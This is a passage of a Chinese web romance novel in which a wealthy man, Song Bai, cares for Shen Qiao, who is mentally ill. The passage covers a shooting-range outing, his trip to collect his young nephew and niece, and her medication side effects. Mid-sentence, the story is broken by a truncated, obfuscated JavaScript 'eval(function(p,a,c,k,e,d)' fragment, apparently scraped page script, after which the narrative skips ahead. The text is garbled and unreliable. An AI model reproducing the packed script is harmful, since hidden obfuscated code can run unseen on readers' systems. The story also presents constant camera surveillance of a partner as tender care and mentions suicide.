她压根就吃不了辣。可偏偏,就是不放下筷子。 原本舒展的眉头微微蹙起,却也只是蹙起而已,他没说一句话,也没做一个多余的动作。 过了许久,等沈荞终于放下筷子,宋柏叫何婶撤走桌上的狼藉后又吩咐何婶端来一杯温牛奶。看着她小口小口抿着牛奶,他这才放下了手中的酒杯。 “想清楚了吗?” 这冷不丁的一句发问,听着突兀,可两人都心知肚明,他问的是什么。 沈荞捧着温热的牛奶杯,抬眸看他,眼神清澈。 “游艇上那次,是你把我推到栏杆边,我才会掉下海。我的项链如果不是那时候丢的,那就是你,或者你的人拿的。所以……你欠我六百万美金。” “我会住在这一段时间,但不是跟着你,而是给你还债的机会。” 理所当然的语调,理直气壮的话语,惹得本深沉的眼眸晕开一抹笑意 也不知道是这几天他不在,还是刚淋的那场雨,她倒是真的清醒了,清醒到都开始算计他了。 债主也好,跟着他也罢,对宋柏而言不过是个名头。况且,她的项链,确实在他手里。 “好啊。” 宋柏应得干脆,对面的沈荞也像是早就笃定他会同意,脸上半点意外都没有。 “既然是债主,那我也得拿出还债的诚意。” 沈荞闻言刚疑惑,就见修长的手指推着一样东西到她面前。低头一看,是一本护照。 “护照、签证,都办好了。想回国,随时都可以。” 几天前还挖空心思要回国的沈荞,此刻却半点波澜都没有,落在护照上的目光也轻飘飘的,没多做停留。 而连轴转了几天、刚结束长途飞行的宋柏,递过护照后也没再多坐,没再和她说一个字,径直起身回房补觉去了。 淅淅沥沥的雨季里,两个人就这么开始了同处一个屋檐下,平和又诡异的相处生活。 执掌着庞大的商业帝国,宋柏并不清闲。人虽在哥伦比亚,视频会议和待批的决策文件却源源不断。他大多时候都待在书房,一墙之隔的主卧露台上,沈荞则窝在沙发上,沉浸在书的世界里。 瓢泼雨声成了最好的背景音,沈荞翻着翻着书,常常就这么睡着了。每次醒来,她又总是躺在柔软的大床上。至于是谁把她抱进来的,不用想都知道。如今自认是债主的她,对此也觉得理所当然,不觉得有什么不妥。 两个当事人相安无事,旁人却一个个浑身不得劲。 许莫言抓着头发,一脸费解:“你说我是不是犯贱?这沈小姐每天安安静静待着,我怎么就浑身不舒坦呢?” 李程也觉得怪异,只是他的关注点不在沈荞身上,而在自家老板身上。 国内事务繁多,老板却宁愿顶着时差耗在哥伦比亚,就为了和人同处一个屋檐下。不逾矩,不纠缠,甚至因为分处两个空间,连话都没说上几句。 李程正琢磨老板的心思,刚结束一场会议的宋柏已经悄无声息迈进主卧。他熟练弯腰,将窝在露台沙发上睡得正沉的人轻轻抱起,放到宽大的床上。 陷在松软被褥里的人,身上早已不是初见时单调的白裙。出门一趟买了新的衣裙后,她就偏爱色彩明艳的长裙,衬得肌肤愈发白皙,人也愈发明媚。抱在怀里时,鼻尖萦绕的也不再是甜腻的奶香味,而是各式各样的沐浴露香气。 宋柏静静看了床上的人两眼,才转身折回露台。露台沙发上,她看了一半的书倒扣着,封面朝上。宋柏垂眸,目光恰好落在书封上。 【TENDERISTHENIGHT】。 * 沈荞再醒来是被一声惊雷惊醒的。她喜欢雨天,也喜欢雨季里卡塔赫纳的慵懒氛围,唯独受不了的,就是每天准时报到、短促却震耳的雷暴。 揉了揉惺忪的睡眼,望向窗外,天色已经半黑,夜幕正缓缓降临。她拖着宽大的裙摆,连鞋都没穿,赤着脚下楼,目标明确直奔厨房。 “何婶,晚上吃什么呀?” 正在灶台前忙碌的何婶闻声回头,看到沈荞,脸上漾开笑意:“先生没跟你说吗?他晚上要带你出去,我就没准备你们的晚饭。” 沈荞愣了愣:“出去?去哪里?” 何婶摇摇头:“我也不清楚,要不你去问问先生?他这会应该还在书房呢。” 沈荞占了主卧,可主卧旁边的书房,她一次都没踏进去过。抬手轻轻推开门,书房里的人正开着视频会议,正襟危坐,神情是她从未见过的严肃冷峻。察觉到她进来,他脸上的冷硬缓缓褪去几分,也不惊讶,只是抬抬手,示意她先去沙发上坐。 沈荞刚坐下没多久,书桌后的男人就按下了电脑的静音键,嘈杂人声瞬间消失,书房里陷入一片安静。沈荞也在这时抬眼看向他:“何婶说你要带我出去。” 宋柏揉了揉发胀的眉心,淡淡应了一声:“天天窝在房间里,不闷吗?” 沈荞下意识想说“习惯了”,话到嘴边又咽了回去,只问:“去哪里?” “一个你应该会喜欢的地方。” 应该? 沈荞半信半疑,刚想追问,就被他打断。 “会议很快就结束,你要不要先回房换套衣服?” 沈荞没动,他又补了一句:“何婶没准备晚饭,不出去的话,今晚就得饿肚子了。” 相处的时间虽短,沈荞却很清楚,何婶绝不可能让她饿肚子。虽清楚,但她还是被勾起了好奇心。 他说的她会喜欢的地方,会是哪里? 回到主卧,沈荞径直走进衣帽间。被她占据的主卧衣帽间里,还挂着不少男人的衣物,剩下的大半空间,则被各式各样的裙子填满。 自从那天她出门买回几条裙子,这几天,就不断有新的衣裙送上门来。和她在小店买的不一样,这些裙子无论是款式、版型还是面料,都精致考究得多。即便没有吊牌,被富养了八年的沈荞一眼就看出,这些衣裙不便宜。 再转念一想,她现在是手握六百万美金债权的债主,几件衣服而已,算不得什么。 随手挑了件明艳的修身长裙换上,又配了一双矮跟尖头凉鞋。站在镜子前,沈荞看着镜中亭亭玉立的身影,恍惚间熟悉又陌生。 没等她多看,敲门声就响起。打开门,门外的人也换了一身衣服,宽松的亚麻衬衣配休闲长裤,褪去了些凌厉,多了几分惬意自在。 他身量高,沈荞穿了矮跟凉鞋,也只堪堪到他肩头。她正要仰头看他,他却自觉后退一步,既给她让出了出门的空间,也让她不必费力抬头。 “走吧。” 沈荞走在前面,宋柏跟在身后。她纤细的身姿,白皙的肩背,还有裙摆摇曳的弧度,全都清清楚楚落入他眼里。 沈荞没察觉到身后的灼热目光,只在上车时,被虚扶了一把。宽厚掌心的炽热温度传来,沈荞还没来得及感受,那炽热便已经撤离。 夜色渐浓,华灯初上。两人同坐在车后座,一路无言。直到车子稳稳停在一栋灯火璀璨的建筑前,沈荞才收回看向窗外的目光,身旁的人也在这时开口:“到了,下车吧。” 车外依旧是雨夜朦胧,沈荞下车时,没留意脚下,不小心踩到一颗小石子。她第一次穿高跟鞋,重心不稳,身体踉跄着一歪。千钧一发之际,一只宽大温热的手掌稳稳扣住了她的腰,将她牢牢扶住。不久前才感受过的炽热温度,猝不及防贴上了她的腰肢。 靠在他结实的胸膛上稳住身形,沈荞还没来得及开口,扣在腰间的手就微微用力,带着她朝着不远处闪着霓虹灯的大门走去。 “急什么?” 沈荞刚想反驳说自己没急,人已经被他带着走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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回应这半夹着玩笑威胁的,是一阵爽朗的大笑。 “几年不见,你倒是越发小气了。我的错,我以酒谢罪!” 说着,浑身散发着荷尔蒙的男人率先转身往里走。沈荞的腰还被人扣着,只能跟着一起,穿过喧闹的舞池和吧台,走向相对僻静的卡座区。再往内走,走廊尽头是一扇厚重的门,门外站着两个身材魁梧的保镖,见到走在最前头的男人,立刻恭敬地打开了门。 一行人鱼贯而入,门后是一个宽敞明亮的空间,办公桌椅、沙发、餐桌和吧台一应俱全。 此时的餐桌上已经摆好了琳琅满目的菜肴,可沈荞却半点没留意。她的所有注意力,都被房间一侧的透明玻璃墙吸引了。 玻璃墙后的空间虽光线幽暗,沈荞却还是一眼就看清了。那是一个室内靶场。 她又一次失了神,身侧的人自然察觉到了。只是这一次,他没有收紧手,反而微微松开了些。 “去玩玩?” 沈荞侧过头,眼睛发亮:“可以吗?” 不等身侧的人点头,一直关注着两人的外国男人已经朝自己的保镖抬了抬下巴。 “去,把灯打开。” 灯光骤然亮起,瞬间照亮了整个靶场,也照亮了陈列在架上的一把把枪。无需旁人引路,沈荞已经缓步走了过去。白皙纤细的指尖轻轻抚过冰凉的枪管,还有一旁码放得整整齐齐的子弹。 她选了一把枪。 卸枪、装弹、上膛……戴耳机,一连串动作行云流水,标准得仿佛刻在骨子里。 在一众男人的注视下,纤瘦的她举起明显不适合她体型的枪,稳稳对准了远处的靶心。 枪声破空而出,沉闷的声响在室内回荡。机械的报靶声也随之传来,清晰而响亮。 “Ten。” 机械的报靶声响起的同时,举着枪的身影已经再次瞄准。她的侧脸绷得很紧,片刻前还温柔的眼神已然变得锐利。 第二声……第三声…… 枪声与报靶声此起彼伏,清一色的“Ten”报数,惊得在场众人无不侧目。唯有宋柏,目光自始至终都落在她身上,他看着她紧绷的侧脸,看着她扣动扳机时微颤却稳准的手,看着她眉眼间近乎偏执的专注,眼底的兴味一寸寸漫上,愈发浓郁。 她不仅真的会用枪,还用的很好。 所以……那晚,如果那把枪里真的装了子弹,她也许,真的,会对他开枪。 * 砰—— 夜色如墨,庭院里灯火通明,五官温润的男人凝着一双深沉的眼,对着远处的枪靶,一口气清空了弹夹。滚烫的弹壳噼里啪啦砸在地面,就在他垂眸换弹夹时,一道急促的脚步声便由远及近。 “少爷,找到了荞小姐了。” “荞小姐就在卡塔赫纳,在……在……宋总身边。” 40-50 第41章 想没想我 宋柏出了门, 视线却没离开平板里的监控画面。 他抵达机场时,她还窝在沙发上打游戏;他登机时,何婶端着饭菜过来哄她吃,她乖乖吃了;飞机准备起飞, 她吃完了饭, 也服了药;飞机平稳起飞后, 监控里的她已经开始昏昏欲睡。 有何婶照看着, 他还留了许莫言带着保镖守着, 安全上不用担心,唯一放不下的, 就是她的睡觉问题。 没他在身边,她不肯好好睡觉。 宋柏正皱着眉盯着屏幕, 就见屏幕里的正犯困的沈荞揉揉眼后,丢开游戏手柄, 蜷在沙发里随手扯过一个靠枕,靠在上面,然后……直接睡着了。 明明昨晚还强撑着等他回房才肯睡…… 结果…… 这么久以来, 都是他自作多情了? 看着监控里安静的身影, 宋柏好气又好笑。 而隔着屏幕,宋柏并没有看见蜷在沙发上的人虽闭了眼, 眉心却拧着,眼帘轻轻颤动, 睡得极不安稳。 京城直飞洛杉矶要十几个小时,宋柏几乎每隔一小时就会点开监控。直到黄昏时分, 夕阳透过落地窗照进客厅,蜷在沙发上睡了整整一下午的人才终于醒了。 他拿起手机拨了视频电话给何婶。 隔着监控屏幕,拿着手机的宋柏看着何婶拿着手机走到沙发边, 低声和她说了几句,看着她接过手机,看都没看一眼,随手就塞进了沙发缝里。 宋柏被气笑的瞬间,手机里的视频通话因无人接听,自动挂断了。 再次被气笑后,宋柏也憋了气,不再看监控。还没等他没消化完这股气,何婶的信息就发了过来:【先生,沈小姐不肯回房间睡,执意要睡在沙发上,我不敢多劝。】 本把平板丢到一边的宋柏拿起平板,一打开就见她盘腿坐在沙发上,身旁摆着的,正是主卧里的被子。 宋柏盯着监控画面,眸光沉了又沉,沉默了许久,敲出几个字,回给何婶:【随她吧。】 沈荞铁了心要睡在沙发上,客厅空荡,何婶放心不下,也抱了床被子在一旁的地毯上打了地铺陪着她。 前半夜还算安稳,后半夜不敢深睡的何婶隐约听到了细碎的啜泣声。她猛地起身,快步走到沙发边查看。 沈荞依旧闭着眼,眼泪却顺着眼角往下淌,竟是在睡梦中哭了。 何婶一时不知该如何是好,思来想去还是给宋柏发了消息。宋柏回复得很快:【把我昨天穿的外套放她枕头边。】 何婶连忙跑去衣帽间,找到了宋柏昨天穿的那件西装外套,轻手轻脚回到客厅,叠好后放在沈荞枕头边。她守在一旁,看着睡梦中仍在抽泣的沈荞,居然真的渐渐止住了哭声,呼吸也平稳下来。 何婶松了口气,给宋柏回了消息。发送成功的瞬间,何婶忽然一愣:先生怎么还没睡? 宋柏并非没睡,而是躺下后根本毫无睡意。这些日子,他早已习惯了怀里的温软,如今枕边空空荡荡,他居然辗转反侧。 原来,短暂分别,不适应、睡不着的人,是他。 而一路未眠的宋柏下飞机刚坐上车,何婶的消息就传了进来。他看着屏幕上的消息先是蹙起眉,随即回了消息。 昨晚,他先跟医生通了电话才定下行程,本以为医生给的法子用不上,结果…… 按灭屏幕,宋柏抬眸,冷声对司机道:“开快点!” 车子一路疾驰,很快抵达医院。宋柏下车时,宋康已经等在门口。见他走来,宋康迎上前,声音带着疲惫:“二哥。” 站在宋柏面前的宋康胡茬冒出,眼底泛着青紫,显然是很久没睡。宋柏看着他这副模样,眉头拧得更紧:“人怎么样了?” 宋康摇摇头,目光沉重:“才做完二次手术,还在危险期,现在在重症监护室里。” 站在医院大楼外,宋柏没有丝毫要进去的意思。若不是他那好大哥再三要求,他原本根本不打算来医院。听完宋康的话,他淡淡颔首:“那这交给你,我去接孩子。” 说着,宋柏就要回车里,宋康却急忙叫住他:“二哥!” 宋柏身形一顿,回头:“怎么了?” 宋康上前一步:“这些天,我一直在查大嫂的事情。我已经知道大哥和大嫂三年半前离婚了。” “大嫂和大哥离婚出国后就没再回过国,除了四个月前回去做过一次手术。” “我查了她回国后的行踪,除了医院,她连魏家都没回,更没见其他人。在这边,她的生活也极其简单,除了在家画画,就是送小侄子侄女上学,几乎不出门,也不接触外人。大嫂身边根本没有其他男人,所以她肚子里的孩子……你还记得大哥和大嫂分开前,去医院做过试管吗?” 宋柏神情一凛:“你什么意思?” “我查了大嫂名下的银行账户,里面只有几十万美金。”宋康继续说道,“二哥,我了解大哥,即便有婚前协议,他也不可能让大嫂净身出户。” 宋柏眉眼沉了沉。他那好大哥确实没让人净身出户,除了不能动的股权,名下的不动产和现金几乎都给了出去。 几十万? 即便是赌徒,也不可能把那么多资产挥霍得只剩这点。 宋柏正拧眉思索,宋康又道:“大嫂在魏家的处境,似乎并不如我们想的那么好。我已经在查大哥和大嫂当初做试管的机构和做四个月前手术的医院了。但大嫂已经有了两个孩子,生下来都没吭一声,更没让大哥知道,按理说不可能再想怀大哥的孩子。如果这孩子真是大哥的,那一定是有人动手脚。而那人一定是想从这个孩子身上得到什么。” 宋柏再傻,也听明白了其中的关键:“魏家干的?” “大概率是。” 宋康虽比宋柏小,却向来稳妥,如今身为律师,做事更是谨慎周全。 他说大概率,那几乎就是笃定。 听到这话,宋柏周身的气压瞬间降了下来。神情也瞬间变得冰冷:“你留在这,魏家的事,我来处理。” 重新坐回车里,宋柏彻底沉了脸。他拿出手机,拨出一个电话,声音冷冽:“查魏家。” 魏家虽然也是京城老牌世家,但和宋家不同,这十几年一直在走下坡路。靠着旧时情谊才和宋家联姻。联姻后,借着宋家的名义和宋柏送的项目,才勉强缓过劲来。 原本,魏家吃着他的,还把他当傻子瞒着孩子的事,他只打算扒了魏家一层皮。 但如果他们搞这些脏手段,那他就要让魏家连皮带骨,彻底消失干净。 宋柏阴沉着脸,车子一路行驶,最终停靠在一栋再普通不过的两层小别墅前。 坐在车里,看着窗外的屋子,宋柏眸色复杂。 李程找到人的时候,给他拍了照片。他本以为前大嫂是怕被发现才特意低调,现在看来,是因为没钱。即便离了婚,那也是宋家人。他宋家人,居然会缺钱……多可笑。 在车里坐了片刻,缓了缓神色,宋柏才下车。 第一次见侄子侄女,他还不想吓到他们。即便他向来不喜欢小孩,但亲侄子侄女终究不同,而且,这两个孩子还有一个正巴巴等着他们回去的亲爹。若是把他们眼泪汪汪带过去,他那好大哥指不定又要对他发什么疯。 宋柏噙着淡笑,抬手敲门。门打开的瞬间,他脸上的笑容顿住,皮笑肉不笑开口:“陈总……” 门内的男人淡然看着他,颔首示意:“宋总。” 两个身量相当的男人面对面站在门边,屋内传来一声温柔的问话,伴着脚步声:“青野,是谁来了啊?” 站在门内的陈青野微微侧步,让开半个身子:“是宋总。” 说话间,视野开朗的宋柏看到屋内一个身影噙着淡笑缓步向门口走来。他的视线定在那张脸上,直到对方走到近前,才被一道明显带着不悦的声音拉回神:“宋总!” 宋柏收回视线,对上一双带着戒备的眼。宋柏无视,又将目光移回面前的人身上,微微颔首:“沈医生。” 走到门边站定的沈蒲蘅微微一笑:“宋总。” 宋柏收起视线,越过眼前人看向屋内:“孩子呢?” “在楼上,还睡着呢。”沈蒲蘅温婉一笑,那笑容配上那张七分相似的面容,让宋柏难得一怔,“他们还小,妈妈不在身边,突然睁开眼看到陌生人,会吓到的。宋总不如先进来坐,给他们一点接受和适应的时间。” 宋柏本想拒绝,可看着眼前这张和沈荞极为相似的脸,还是点了点头。 李程已经拿到了沈蒲蘅的DNA样本,他这次来也带了沈荞的样本,虽还未比对,但凭这张七分相似的脸,也足以验证,眼前之人,确实是沈荞的亲姐姐。 宋柏的视线频频落在沈蒲蘅脸上,这举动引得陈青野不满。他不动声色往前一步,将沈蒲蘅拉到自己身后,用自己身躯挡住了宋柏的视线,语气冷漠:“宋总,坐吧!” 宋柏迈步进门,目光环顾四周。从外面看平平无奇的房子,内部却布置得格外温馨,随处可见孩子的玩具、绘本和小摆件。他神色不动,对身旁的保镖道:“拍下来,发给何静。让她照着布置。” 宋柏本不擅长照顾人,也懒得照顾人。 可这几个月,尤其是近期,被沈荞连番折腾下来,也变了。 熟悉的环境对生病的沈荞很重要,那对孩子应该也是如此。 保镖应声开始拍照,宋柏则在屋里慢慢踱步。看着屋内的一切,他不得不承认,他的前大嫂,是真的在用心、好好地抚养孩子。 在见到孩子后,更印证了宋柏的想法。 两个粉雕玉琢的小团子,紧紧黏在沈蒲蘅身边。一个怯生生躲在她身后,只露出半张圆圆的小脸;另一个则满眼警惕地盯着宋柏,像只竖起尖刺的小刺猬,护着身边的妹妹。 沈蒲蘅则蹲下身子,轻轻牵着两个孩子的手,声音温柔:“年年,岁岁,这是你们的叔叔,他来接你们回去见爸爸的。” 穿粉色小睡衣的小女孩眼睛倏地一亮,脸上的怯意瞬间褪去,取而代之的是满满的期待,她拽了拽身边哥哥的衣角:“爸爸?哥哥,我们真的能见到爸爸了吗?” 小男孩却小脸一板,攥着妹妹的手更紧了些,依旧警惕地盯着宋柏,语气透着不符合年龄的冷静:“我们只跟妈妈走。” 小女孩听了,也立刻点头附和,眼里的光暗了几分,抬头望向沈蒲蘅,声音带着委屈:“对,只跟妈妈走。阿姨,妈妈去哪里了呀?” 提到妈妈,嫩生生的小脸上,小嘴一撅,似乎有要哭的架势,宋柏刚想开口说些什么,一直默默旁观的陈青野迈步上前:“宋总,孩子刚醒,让他们缓缓。孩子们的东西也还没收拾好,不如先去客厅坐坐?” 宋柏不置可否,收起神色往客厅走去。两个大男人坐在沙发上,相对无言,空气陷入沉默。片刻后,宋柏的手机突然响了起来。 他看了一眼屏幕,眉头一皱。接起电话,听到对面声音后,不仅眉头舒展开,声音也不自觉放柔:“怎么这个点醒了?” “别睡沙发上,回床上去睡。” “马上就回去了,一会就要上飞机了。” “在你睡前,我就能到家了。” “嗯,不骗你。” 宋柏握着手机,眉眼间漾开柔和。比起刚才在孩子面前那份疏离,他此刻的状态明显松弛了许多,周身冷硬的气场也随之柔和下来。这一幕,连向来不爱管闲事的陈青野都忍不住侧过眼,投去探究的目光。 挂了电话,宋柏嘴角的淡笑尚未完全散去。陈青野率先打破沉默,语气带着几分随意:“宋总交女朋友了?” 宋柏抬眼看向他,眸中多了三分闲散,随即轻轻应了一声:“嗯。” 自宋柏出现后便一直绷着身躯的陈青野,听到这声轻描淡写的回应,不自觉松了松肩膀,周身的紧绷感消散了大半。 “没想到,宋总面对女朋友居然这么温柔。” 温柔? 这两个字,宋柏从未想过会用在自己身上。不过,现在……他倒也不否认。 毕竟,他要是敢凶沈荞,她就敢自杀! 她豁得出去,他赌不起。 宋柏的目光再次落在不远处温声哄孩子的沈蒲蘅身上,眼神黯了黯。 医生说,她的病除了先天遗传和神经因素,后天的生活重压和重大应激也会触发。他们初遇时,她的状态其实已经是发病了,而那时候傅英还活着。 也就是说,即便傅英没死,她也早已病了。 如果不是先天因素,那就是她的后天成长环境,一点点把她逼到了这步。他不知道她到底经历了什么,但她不发病的时候,其实和沈蒲蘅很像。 安安静静的,性子温和,眼里带着纯粹的柔软。 如果她能好好长大,是不是现在也能这样,走在人群里,沐浴在阳光下,拥有朋友,拥有正常的生活。 一直留意着宋柏的陈青野,见他话没说两句,视线又往他老婆身上飘,眉头下意识紧锁。可很快,他发现不对。 宋柏的视线虽落在他老婆身上,眼神却是放空的,仿佛透过她,在想着另一个人。 沈蒲蘅性子温婉,气质柔和。短短照顾两天,就让两个才刚接触不久的孩子对她产生了依赖。她耐心哄了半天,两个孩子才终于愿意跟宋柏走。 沈蒲蘅早早就收拾好了孩子们的行李,又给他们做了饭,看着他们吃完,才把人连同行李一起交给宋柏。保镖牵着孩子往车上走,宋柏站在车外,对并肩站在一起的陈青野和沈蒲蘅道了句:“麻烦了。” 听到这句道谢,陈青野意外挑了挑眉,沈蒲蘅则温和看着宋柏:“宋总,我妹妹的事,还得您多费心。” 宋柏神色自然,颔首应道:“沈医 生放心,会找到人的。” 话音落,他转身坐进车里,两个孩子已经被保镖安置在后排的安全座椅上,睁着圆溜溜的眼睛看他。宋柏坐定后,对着车外的两人微微颔首,随即对司机沉声道:“开车。” 现在回去,还能赶上陪她吃个晚饭。 * 来的时候,宋柏本做好了应对两个三岁孩子哭闹的准备,毕竟这个年纪的孩子大多黏人又娇气。可没想到,一路上两个小家伙乖得不像话,不哭不闹,给什么吃什么,面对空乘的照顾还会礼貌地道谢。 本就不怎么喜欢小孩的宋柏,挑了挑眉同时却又觉得理所当然。毕竟是他们宋家的孩子,骨子里就带着沉稳。 可转念一想,若是他那位前大嫂肚子里的真是宋家的血脉,却没能来到这个世界…… 想到这里,宋柏的脸色骤然沉了下来。 他让空乘带着两个孩子去卧室休息,自己则冷着脸拨通了李程的电话。 “人找到了吗?” 电话那头李程的声音带着几分迟疑:“车祸发生的地点没有监控,目前还在扩大范围排查。” “查到线索,和宋康对接。让他处理。” 宋柏语气坚决,没有丝毫商量的余地。 他的事已经够多了,放任宋康闲散了两年,有些该承担的责任,他也是时候接起来了。 飞行途中一路平稳,不知道是不是高空环境的缘故,后半程两个孩子一直安安静静睡着,直到飞机平稳落地,才慢悠悠睁开眼睛,揉着惺忪的睡眼。 而舱门刚一打开,身形高大的男人便迫不及待地踏上了飞机,脚步声里藏着难以掩饰的急切。当空乘牵着两个还带着困意孩子走出卧室时,刚上机的男人瞬间怔在原地,冷冽的面容上,一双深邃的眼眸不受控制泛起了红意,喉结用力滚动了两下,像是在压抑着翻涌的情绪。 坐在座位上的宋柏左右看看,起身走到红了眼的男人身边,语气平淡交代:“东湖那边都已经收拾好了,保姆、司机和保镖都安排好了,先把孩子带去那边安顿下来。” 说完,宋柏便径直迈步下了机,没有再多看他那红了眼的大哥一眼。 一来一回,不过一天,宋柏就把人接回来了。 二十多个小时未曾阖眼,宋柏眼底布了红血丝,眉眼间也带了一丝倦意。可当他推开门,踏进门厅,看到沙发上那抹熟悉的身影时,所有疲惫瞬间褪去。 褪去外套,换好拖鞋,他径直朝着沙发走去。无视她投来的冷眼,他俯身将她抱起,稳稳安置在自己腿上,手臂紧紧搂上她的腰。 陷坐在沙发上,将头埋进她的肩颈处,闻着她身上的清浅气息,宋柏用带着几分沙哑的嗓音沉声问:“想没想我?” 第42章 发作 沈荞想不想他, 宋柏不知道,因为沈荞没回答。但沈荞生气了,他却知道。因为她毫不犹豫推开他,绷着一张脸, 看都没看他一眼, 自顾自往餐桌走去。 何婶正在餐桌旁摆菜, 见这情形, 眼神在两人之间扫了一圈, 加快速度摆好菜后,悄悄退回了厨房。而怀里骤然一空的宋柏愣在原地片刻, 眼底掠过一丝无奈,也缓缓起身跟了过去。 饭桌上, 沈荞全程绷着脸,一言不发。宋柏也没有多言, 只是默默坐在她对面,目光时不时落在她脸上。 这顿饭吃得格外沉闷,沈荞没动几口就搁下筷子, 转身回到沙发。宋柏瞥了眼她几乎没怎么动的碗, 眉头微蹙,没出声。草草吃了几口, 他也放下碗筷,走到沙发边, 在她身旁的空位坐下,保持着不远不近的距离, 既不打扰她,又能让她感受到他的存在。 此时,沈荞已经打开了游戏, 不是他走之前玩的拼图了,换成了款画风柔和的钓鱼游戏。屏幕的光映在她的瞳孔里,她握着手柄,眼神格外专注。 玩游戏,是医生建议的,让她玩些轻松舒缓、带轻柔音乐的游戏,既能慢慢唤醒她对的感知,又能避免她沉进负面思绪里。 而事实上,沈荞也没多少时间陷在思绪中。从进医院开始,受药物影响,她大半时间都在昏睡,傍晚醒来到睡前吃药的这几个小时,是她难得的清醒时刻。可即便醒着,她对外界的感知、对旁人的反馈,依旧带着明显的迟钝。 两天未曾好好合眼的宋柏,坐在她身侧,目光一瞬不瞬落在她的侧脸上。看着她专注的侧脸,感受着周遭难得的平静,眼皮渐渐沉重,没一会儿,他就歪靠在她身边,沉沉睡了过去。 他刚睡着没多久,原本沉浸在游戏里的沈荞,忽然放下了手柄。她微微侧头,看向身侧熟睡的他,嘴唇动了动,似是想说什么。在看到他双眼紧闭后,她怔了怔。 电视屏幕上,游戏还在继续,可沈荞再没看一眼。她就那样静静看着宋柏,目光从他紧蹙的眉峰,落到他略显疲惫的脸上,久久没有移开。 看着看着,她缓缓抬起手,犹豫了几秒,指尖轻轻抚上他殷红的唇,眼底翻涌着复杂的情绪。 有迷茫,有困惑,还有一丝连她自己都未察觉的依赖。 厨房里的何婶洗完碗、收拾好灶台,端着一盘切好的新鲜水果走出厨房时,一眼就看到了客厅里静谧的画面。 高大的男人歪靠在沙发上睡得深沉,他身侧的纤细身影,不知何时将头枕在了他的大腿上,身体紧紧贴着他,一只手还下意识攥着他的衣角,呼吸均匀,显然也已经睡着了。 何婶看着眼前一幕,下意识放轻了呼吸。她将水果盘轻轻放在一旁的矮台上,脱下脚上的拖鞋,赤着脚蹑手蹑脚地走到温度控制面板前,悄悄调高了几度,又顺手按灭了几盏灯,只留下一盏暖黄色的落地灯,在客厅角落里投下一片柔和的光晕。做完这一切,何婶又轻手轻脚地退回了自己的房间。 夜色渐深,沉睡了数小时的宋柏缓缓睁开眼。刚醒时,脖子传来一阵酸痛,可这不适感很快就被腿上的温热取代。借着昏柔的灯光,他低头看清了枕在自己腿上的人。 她长长的眼睫轻颤,侧颜平静柔和,嘴角还带着一丝极淡的弧度,全然没了之前的紧绷。 看着她这副模样,宋柏的唇角轻轻勾了起来。 嘴上不说,心里终究还是想他的。 伸出手,轻轻托住她的后脑,宋柏缓缓起身,再稳稳将她横抱起来,让她的头靠在自己肩头,一步步朝主卧走去。怀里的人似是察觉到动静,却没醒,只是下意识往他怀里缩了缩,攥着他衣服的手,又紧了紧。 * 出国两天,积压了不少工作的宋柏,天一亮便醒了。低头看了眼怀里睡得香甜的沈荞,他没吵醒她,而是放轻动作下床,然后让总助赵骞把所有文件都送来。 宋柏穿着宽松的家居服,在客厅处理文件,时不时接听一个工作电话。 坐了一个早上,他没等到沈荞的苏醒,反倒先接到了老太太的电话。一向利落的老太太,这次在电话那头却显得有些语无伦次,好半天都没说出一句完整的话。宋柏也不急,把手机打开免提,放在一旁的茶几上,继续低头翻看文件,耐心等着。 过了好一会儿,老太太终于挤出一句话,而开口的第一句便是:“箐箐怎么样了?” 宋柏握着钢笔的手顿了顿,眉眼微挑。 把两个孩子接上飞机的时候,他就让宋莫提前给家里的两老打了预防针,免得老两口突然见到孙子孙女,激动得厥过去。 突然多了两个乖巧可爱的孙子孙女,宋柏知道老太太肯定高兴坏了, 也猜到她打这通电话,多半是已经见到孩子了。但他没想到,老太太开口第一句说的不是孩子,而是他的前大嫂。 而老太太接下来的一句话,更是让他始料未及。 “你赶紧安排一下,我要去洛杉矶。” 宋柏的眉头瞬间蹙了起来,还没来得及开口,老太太就语气坚定继续说道:“我已经知道你大哥和箐箐离婚的事了。但就算离婚了,箐箐也是我宋家的儿媳妇。你大哥没能好好对她,让她受了那么多委屈,这已经是我们宋家对不起她了。这几年,她一个人带着两个孩子,不知道吃了多少苦,受了多少罪。魏家不管她,我管!你马上给我安排飞机,我要亲自去照顾她。” 一向温和的老太太,此刻语气里带着前所未有的强势。宋柏沉默了几秒钟,听着电话那头老太太略显急促的呼吸声,最终还是应下:“好。” 他还想再和老太太说几句,主卧的方向突然传来一阵轻微的响动,紧接着,一道带着浓重鼻音的低唤传来:“宋柏……” 宋柏立刻抬眼望去,只见主卧的门边,沈荞穿着一身宽松的白色睡衣,披着一头乌黑的长发,正孤零零立着,眉头紧蹙,脸色苍白。 “头疼……” 她的声音很轻,还带着点不易察觉的颤抖。 宋柏心头一紧,下意识皱紧眉。电话那头的老太太也敏锐察觉不对,忙追问:“宋柏?怎么了?你那边还有谁?” 宋柏没心思再和老太太多说,拿起手机说了句:“妈,我让赵骞给您安排。”说完便果断挂断了电话,随手将手机丢在茶几上,快步往主卧门边走去。 沈荞还僵在原地,眉头皱得更紧,宋柏走近才发现,她垂在身侧的手正不受控制地轻颤,眼神里满是茫然与痛苦。他心头一沉,二话不说上前将她横抱而起,小心抱回主卧放在柔软的床上,替她盖好被子,又折回客厅拨通了医生的电话。 “宋总,沈小姐这是服药后的正常副作用。头疼、肢体微颤都是常见的,您别太担心。我稍后调整下用药剂量,应该就能缓解。” 宋柏的眉头拧得更紧。 “副作用?你之前不是说,只有嗜睡吗?” “宋总,精神类药物的副作用本就因人而异。”医生的声音带着几分小心翼翼,“沈小姐身体还在恢复期,加上您这两天不在,她情绪可能又有波动……” 宋柏攥着手机的指节泛白,手背上青筋隐隐凸起。听着对面的解释,一股无名火窜上来。他几乎要将手机砸出去,可余光瞥见主卧里蜷缩的身影,他终究强压下烦躁,耐着性子听完,才挂断电话。 再推开主卧门时,宋柏手里多了片止痛药和一杯温水。沈荞将头深深埋在枕头里,只露出一小截苍白的脖颈,鬓角的碎发被细密的冷汗浸湿。听到脚步声,她缓缓抬头,看清他掌心的药片时,眼神里闪过一丝抗拒,轻轻摇了摇头。 “我不想吃药了。” 她的声音轻飘飘的,带着化不开的疲惫。 